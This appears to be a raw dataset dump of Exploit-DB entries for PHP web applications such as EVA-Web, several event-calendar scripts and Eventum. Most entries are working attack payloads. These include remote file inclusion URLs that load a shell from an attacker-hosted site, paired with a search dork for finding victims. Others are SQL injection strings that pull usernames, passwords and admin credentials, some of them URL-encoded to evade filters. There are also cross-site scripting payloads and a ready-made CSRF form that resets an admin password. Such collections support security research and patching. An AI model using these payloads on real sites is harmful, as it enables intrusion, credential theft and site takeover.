deardaniel/secdata-raw huggingface dataset:
Exploit-DB #4112
Description: EVA-Web 1.1 < 2.2 - 'index.php3' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-06-26
Author: g00ns

Exploit:
###############################################################################################
#         ___   ___                         _
#        / _ \ / _ \                       | |
#   __ _| | | | | | |_ __  ___   _ __   ___| |_
#  / _` | | | | | | | '_ \/ __| | '_ \ / _ \ __|
# | (_| | |_| | |_| | | | \__ \_| | | |  __/ |_
#  \__, |\___/ \___/|_| |_|___(_)_| |_|\___|\__|
#   __/ |
#  |___/
###############################################################################################
#Program Title ################################################################################
#EVA-Web 1.1<=2.2 Remote File Inclusion
#
#Note #######################################################################################
#A patch was released some time ago..but there was never an exploit released..
#
#Script Download ##############################################################################
#http://spip-edu.edres74.net
#
#d0rk ######################################################################################
#"et utilise le squelette EVA-Web" -3.0 -2.3
#
#Spl0it #########################################################################################
#www.victim.com/[path to webapp]/eva/index.php3?aide=http://www.ursite.com/shell.txt?
#www.victim.com/[path to webapp]/eva/index.php3?perso=http://www.ursite.com/shell.txt?
#
#vuln discovered by ###############################################################################
#MurderSkillz
#
#shoutz: z3r0, milf, godxcel, clorox, katalyst, SyNiCaL, OD, pr0be, rezen, str0ke,
#fish, rey, canuck, ,vipsta, c0ma, grumpy, err0r, sick, trintitty, asdfhacks.com , a59, freeillwill.com, fury,
#<S>, Bernard, and everyone else at g00ns.net
###############################################################################################

# milw0rm.com [2007-06-26]
Exploit-DB #27920
Description: EVA-Web 2.1.2 - 'article-album.php3?debut_image' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-05-30
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/18161/info

EVA-Web is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

These vulnerabilities are reported to affect versions 2.1.2 and earlier.

http://www.example.com/article-album.php3?id_article=39&debut_image=[XSS]
Exploit-DB #27922
Description: EVA-Web 2.1.2 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-05-30
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/18161/info
  
EVA-Web is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
  
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
  
These vulnerabilities are reported to affect versions 2.1.2 and earlier.

http://www.example.com/?perso=[XSS]
http://www.example.com/?aide=[XSS]
Exploit-DB #27921
Description: EVA-Web 2.1.2 - 'rubrique.php3?date' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-05-30
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/18161/info
 
EVA-Web is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
These vulnerabilities are reported to affect versions 2.1.2 and earlier.

http://www.example.com/rubrique.php3?id_rubrique=29&date=[XSS]
Exploit-DB #33602
Description: evalSMSI 2.1.3 - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2010-02-05
Author: ekse

Exploit:
source: https://www.securityfocus.com/bid/38116/info

evalSMSI is prone to multiple vulnerabilities, including an authentication-bypass issue, an SQL-Injection issue, and an HTML-Injection issue.

Attackers can exploit these issues to gain administrative access to the affected application, execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. Other attacks may also be possible.

Versions prior to evalSMSI 2.2.00 are vulnerable. 

http://www.example.com/evalsmsi/ajax.php?action=question&query=1%22%20UNION%20SELECT%20NULL%20,%20login,%20NULL,%20NULL,%20NULL%20FROM%20authentification%20UNION%20SELECT%20NULL%20,%20NULL,%20NULL,%20NULL,%20%22

http://www.example.com/evalsmsi/ajax.php?action=question&query=1%22%20UNION%20SELECT%20NULL%20,%20password,%20NULL,%20NULL,%20NULL%20FROM%20authentification%20UNION%20SELECT%20NULL%20,%20NULL,%20NULL,%20NULL,%20%22
Exploit-DB #32057
Description: Evaria ECMS 1.1 - 'DOCUMENT_ROOT' Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2008-07-16
Author: ahmadbady

Exploit:
source: https://www.securityfocus.com/bid/30262/info

ECMS is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues can allow an attacker to compromise the application and the underlying system; other attacks are also possible.

ECMS 1.1 is vulnerable; other versions may also be affected.

http://www.example.com/path/ecms/eprint.php?DOCUMENT_ROOT=shell.txt?
http://www.example.com/path/ecms/index.php?DOCUMENT_ROOT=shell.txt?
Exploit-DB #51153
Description: Eve-ng 5.0.1-13 - Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2023-03-30
Author: @casp3r0x0 hassan ali al-khafaji

Exploit:
# Exploit Title: Eve-ng 5.0.1-13 - Stored Cross-Site Scripting (XSS) 
# Google Dork: N/A
# Date: 12/6/2022
# Exploit Author: @casp3r0x0 hassan ali al-khafaji
# Vendor Homepage: https://www.eve-ng.net/
# Software Link: https://www.eve-ng.net/index.php/download/
# Version: Free EVE Community Edition Version 5.0.1-13
# Tested on: Free EVE Community Edition Version 5.0.1-13
# CVE : N/A



#we could achieve stored XSS on eve-ng free I don't know If this
effect pro version also
#first create a new lab
#second create a Text label
#insert the xss payload and click save "><script>alert(1)</script>
#the application is multi user if any user open the lab the xss will be triggered.
Exploit-DB #24748
Description: event Calendar - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2004-11-16
Author: Janek Vind

Exploit:
source: https://www.securityfocus.com/bid/11693/info

Event Calendar is prone to multiple input validation vulnerabilities. These issues include HTML injection and cross-site scripting. The following specific vulnerabilities were reported:

A cross-site scripting vulnerability is exposed through certain NukeCalendar URI parameters. This issue could be exploited via a malicious link to a site hosting the software to execute hostile HTML and script content in the browser of a victim user.

A HTML injection vulnerability is reported to affect the events comments input forms. This issue could be exploited when an unsuspecting user views a malicious event comment, this will result in attacker-supplied HTML and script content executing in the browser of the victim user.

An SQL injection vulnerability is also present through URI parameters of the affected software, which includes unsanitized user input in database queries. This may be exploited to extract sensitive information from the database.

http://www.example.com/nuke73/modules.php?name=Calendar&file=submit&type=[xss code here]
http://www.example.com/nuke73/modules.php?name=Calendar&file=submit&op2=Preview&day=[xss code here]
http://www.example.com/nuke73/modules.php?name=Calendar&file=submit&op2=Preview&month=[xss code here]
http://www.example.com/nuke73/modules.php?name=Calendar&file=submit&op2=Preview&year=[xss code here]
http://www.example.com/nuke73/modules.php?name=Calendar&file=submit&op2=Preview&type=[xss code here]
http://www.example.com/nuke73/modules.php?name=Calendar&file=index&type=view&eid=-99%20UNION%20ALL%20SELECT%201,1,aid,1,pwd,1,1,1,1,1,1,1,1,1,1%20FROM%20nuke_authors%20WHERE%20radminsuper=1
Exploit-DB #46115
Description: Event Calendar 3.7.4 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2019-01-10
Author: Ihsan Sencan

Exploit:
# Exploit Title: Event Calendar 3.7.4 - SQL Injection
# Dork: N/A
# Date: 2019-01-10
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://ezcode.pt/
# Software Link: https://codecanyon.net/item/event-calendar-phpmysql-plugin/19246267
# Version: 3.7.4
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1) 
# http://localhost/[PATH]/events_edit.php?id=[SQL]
# 

GET /[PATH]/events_edit.php?id=%2d%31%30%33%31%27%20%2f%2a%21%31%31%31%311%55%4e%49%4f%4e%20%2a%2f%2f%2a!11111SELE%43%54%2a%2f%20%31%2c%32%2c%33%2c%76%65%72%73%69%6f%6e%28%29%2c%35%2c%36%2c%37,8--%20- HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=84955lhp1purfrvdrvhs7a00q2; EU_COOKIE_LAW_CONSENT=true
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Wed, 09 Jan 2019 23:31:12 GMT
Server: Apache
X-Powered-By: PHP/5.5.38
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Upgrade: h2,h2c
Connection: Upgrade, Keep-Alive
Keep-Alive: timeout=5, max=100
Transfer-Encoding: chunked
Content-Type: text/html; charset=utf-8
Exploit-DB #43279
Description: Event Calendar Category Script 1.0 - 'city' SQL Injection
Type: webapps
Platform: php
Date: 2017-12-08
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Event Search Script 1.0 - SQL Injection
# Dork: N/A
# Date: 08.12.2017
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/event-search-script/
# Demo: http://ordermanagementscript.com/demo/eventsearch/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/event-list?city=[SQL]&main_search=
# 
# -176'+UNION(SELECT(1),(2),(3),(4),(5),(6),(7),(8),(9),(10),(11),(12),(13),(14),(15),(16),(17),(18),(19),(20),(21),(22),(23),CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),(25),(26),(27),(28),(29),(30),(31),(32),(33),(34),(35),(36),(37),(38),(39),(40),(41),(42),(43),(44),(45),(46),(47),(48),(49),(50),(51),(52),(53),(54))--+-
# 
# 
# # # # #
Exploit-DB #37008
Description: Event Calendar PHP - 'cal_year' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-03-24
Author: 3spi0n

Exploit:
source: https://www.securityfocus.com/bid/52701/info

Event Calendar PHP is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/demo_eventcalendar.php?cal_id=1&cal_month=2&cal_year=[XSS]
Exploit-DB #40594
Description: Event Calendar PHP 1.5 - SQL Injection
Type: webapps
Platform: php
Date: 2016-10-20
Author: Ehsan Hosseini

Exploit:
=====================================================
# Event Calendar PHP 1.5 - SQL Injection
=====================================================
# Vendor Homepage: http://eventcalendarphp.com/
# Date: 21 Oct 2016
# Version : 1.5
# Platform : WebApp - PHP
# Author: Ashiyane Digital Security Team
# Contact: hehsan979@gmail.com
=====================================================
# PoC:
Vulnerable Url:
http://localhost/eventcalendar/admin.php?act=options&cal_id=[payload]
http://localhost/eventcalendar/admin.php?act=cal_options&cal_id=[payload]
http://localhost/eventcalendar/admin.php?act=cal_language&cal_id=[payload]
Vulnerable parameter : cal_id
Mehod : GET

A simple inject :
Payload : '+order+by+20--+
http://localhost/eventcalendar/admin.php?act=options&cal_id=1'+order+by+20--+

In response can see result :
query error: SELECT * FROM pa_ecal_calendars WHERE cal_id='1' order by
20-- '. Error: Unknown column '20' in 'order clause'

Result of payload: Error: Unknown column '20' in 'order clause'
=====================================================
# Discovered By : Ehsan Hosseini
=====================================================
Exploit-DB #37503
Description: Event Calender PHP - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2012-07-16
Author: snup

Exploit:
source: https://www.securityfocus.com/bid/54455/info

Event Calender PHP is prone to multiple input validation vulnerabilities.

Exploiting these vulnerabilities could allow an attacker to execute arbitrary script code, steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Event Calender PHP 1.2 is vulnerable; other versions may also be affected. 

http://www.example.com/eventcalendar/admin.php?act=calendars&orderType=DESC&search=&orderBy=-1%27[SQL-INJECTION]cal_name&cal_id=2

http://www.example.com/eventcalendar/admin.php?act=calendars&orderType=-1%27[SQL-INJECTION]&search=&orderBy=cal_name&cal_id=2

http://www.example.com/eventcalendar/admin.php?act=events&orderType=ASC-1%27[SQL-INJECTION]&orderBy=event_title&cal_id=2

http://www.example.com/eventcalendar/admin.php?act=events&orderType=ASC&orderBy=-1%27[SQL-INJECTION]event_title&cal_id=2

http://www.example.com/preview.php?act=calendars&orderType=DESC&search=&orderBy=-1%27[SQL-INJECTION]cal_name&cal_id=2

http://www.example.com/eventcalendar/admin.php?act=newCal&cal_id=2

http://www.example.com/eventcalendar/admin.php?act=newEvent&cal_id=2

http://www.example.com/eventcalendar/preview.php?cal_id=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C&cal_month=1&cal_year=0#oncal

http://www.example.com/eventcalendar/preview.php?cal_id=2&cal_month=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C&cal_year=0#oncal

http://www.example.com/eventcalendar/preview.php?cal_id=2&cal_month=1&cal_year=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C#oncal

http://www.example.com/eventcalendar/admin.php?act=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C
Exploit-DB #46116
Description: Event Locations 1.0.1 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2019-01-10
Author: Ihsan Sencan

Exploit:
# Exploit Title: Event Locations 1.0.1 - SQL Injection
# Dork: N/A
# Date: 2019-01-10
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://ezcode.pt/
# Software Link: https://codecanyon.net/item/event-locations-phpmysql-plugin/22100679
# Version: 1.0.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1) 
# http://localhost/[PATH]/events_edit.php?id=[SQL]
# 

GET /[PATH]/events_edit.php?id=%2d%32%33%36%27%20%2f%2a%21%31%31%31%31%31%55%4e%49%4f%4e%2a%2f%20%2f%2a%21%31111%31%53%45%4c%45%43%54%2a%2f%20%31%2c%32%2c%33%2c%76%65%72%73%69%6f%6e%28%29%2c%35%2c%36%2c%37%2c%38%2c%39%2d%2d%20%2d HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=84955lhp1purfrvdrvhs7a00q2; EU_COOKIE_LAW_CONSENT=true
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Wed, 09 Jan 2019 22:28:38 GMT
Server: Apache
X-Powered-By: PHP/5.5.38
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Upgrade: h2,h2c
Connection: Upgrade, Keep-Alive
Keep-Alive: timeout=5, max=100
Transfer-Encoding: chunked
Content-Type: text/html; charset=utf-8
Exploit-DB #43949
Description: Event Manager 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2018-02-02
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Event Manager PHP Script 1.0 - SQL Injection
# Dork: N/A
# Date: 01.02.2018
# Vendor Homepage: http://ezcode.pt/
# Software Link: https://codecanyon.net/item/eventmanager-php-script-admin-panel/21280741
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/event.php?id=[SQL]
# 
# 2)
# http://localhost/[PATH]/page.php?slug=[SQL]
# 	
# # # # #
Exploit-DB #44868
Description: Event Manager Admin panel - 'events_new.php' SQL injection
Type: webapps
Platform: php
Date: 2018-06-11
Author: telahdihapus

Exploit:
# Exploit Title: Event Manager PHP Script Admin panel - 'events_new.php' SQL injection
# Date: 2018-06-10
# Exploit Author: telahdihapus
# Vendor Homepage: https://codecanyon.net/user/ezcode
# Software Link: https://codecanyon.net/item/eventmanager-php-script-admin-panel/21280741
# Tested on: windows 10

# 1. description :
# Insert data in events_new.php do not use escape string function, 
# so attacker can put qoute character and inject query in insert data.

# 2. POC :
login in admin page http://victim.com/cms/, or you can register admin if you not have, register at http://victim.com/cms/register.

go to http://victim.com/cms/events_new.php

add new title, add some value and press "new type" button. you can see success notice.

now, add payload to value.

example payload = a'), (120, (select version()))-- -

120 is id, you can put your cursor in delete button, to see id, and you can prediction next id.
Exploit-DB #15281
Description: Event Ticket Portal Script Admin Password Change - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2010-10-19
Author: KnocKout

Exploit:
===========================================================
Event Ticket PORTAL <= Admin Password Change (CSRF) Exploit
===========================================================
~~~~~~~~~~~~~~~[My]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[+] Author : KnocKout
[~] Contact : knockoutr@msn.com
~~~~~~~~~~~~~~~~[Software info]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|~Web App. : Event Ticket PORTAL
|~Price : 149 Euro
|~Version : N/A
|~Software: http://www.tourismscripts.com
|~Vulnerability Style : CSRF
|~Vulnerability Dir : /admin
|~Google Keyword : N/A
|[~]Date : "18.10.2010"
|[~]Tested on : (L):Vista (R):Demo
~~~~~~~~~~~~~~~~[~]~~~~~~~~~~~~~~~~~~~~~~~~~~~~

#########################################################
the target can be changed according to
<form method="post" action="http://VICTIM/admin/admin.php">
########################################################

    ~~~~~~~~ Explotation| Exploit.HTML ~~~~~~~~~~~
    
========(CSRF) Html Exploit=========

<h3>Event Ticket PORTAL - Admin Password Chage (CSRF) Exploited by KnocKout</h3>
<table>
<tr>
<form method="post" action="http://server/admin/admin.php">
<input type="hidden" name="admin_id" value="1">
<td align=right>Username:</td><td align=left><input name="admin_name" size="40" maxlength="40" value="admin"><td>
</tr>
<tr>
<td align=right>New Password:</td><td align=left><input name="password" size="40" maxlength="40" ><td>
</tr>
<tr>
<td></td><td><input type="submit" name="submit" value="Update Password"></td>
</form>
</tr>

</table>


========(CSRF) Html Exploit=========
    
     GoodLUCK.
Exploit-DB #6623
Description: events Calendar 1.1 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-09-29
Author: k3vin mitnick

Exploit:
#########################################################
#
# Events Calendar 1.1

Remote File Inclusion Vulnerability


#========================================================
# Author: kevin mitnick( tunisianblackhat team ) =
# =
# Home : http://tunisianblackhat.com =
# =
# email: kevinmitnick[A]live.fr =
# =
#=========================================================
#
# script : Events Calendar 1.1#
http://webscripts.softpedia.com/script/Calendar-Systems/Events-Calendar-WebBiscuits-46424.html
# DorK : Events Calendar 1.1#
##########################################################

[~] Exploit :


http://youwebsite/panel/common/theme/default/header_setup.php?path[docroot]=[EV!L]
http://youwebsite/panel/common/theme/default/header_setup.php?component=[EV!L]

########################( Greetz )###########################
# marwé§­_neo , mrabah12R ,KaMiKaZe ,NaRuTo ,hijacker #
# Boomrang_Victim and all tunisian hackers #
# #
# #
# #
###########################################################

# milw0rm.com [2008-09-29]
Exploit-DB #39065
Description: Eventum - Insecure File Permissions
Type: webapps
Platform: php
Date: 2014-01-27
Author: High-Tech Bridge

Exploit:
source: https://www.securityfocus.com/bid/65186/info

Eventum is prone to an insecure file-permission vulnerability.

An attacker can exploit this issue to reinstall vulnerable application. This may aid in further attacks.

Eventum 2.3.4 is vulnerable; other versions may also be affected. 

Following example URI is available.

http://www.example.com/setup/index.php
Exploit-DB #16196
Description: eventum issue tracking system 2.3.1 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-02-19
Author: Saif El-Sherei

Exploit:
# Exploit Title: Eventum 2.3.1 stored XSS
# Date: 19-2-2011
# Author: Saif El-Sherei
# Software Link: https://code.launchpad.net/eventum
# Version: Eventum 2.3.1
# Tested on: FF 3.0.15, IE 8
# Vendor notification: vendor notified, awaiting response
 
Info:

Eventum is a user-friendly and flexible issue tracking system that can be used by a support department to track incoming technical support requests, or by a software development team to quickly organize tasks and bugs. 
 
Details:

The "Full-Name" variable is not properly sanitized before displayed in any page. where an authorized user can perform this attack on other users who has access to the system, by changing his own "full-name" in the preferences section.
 
POC:

<script>alert('w00t');</script>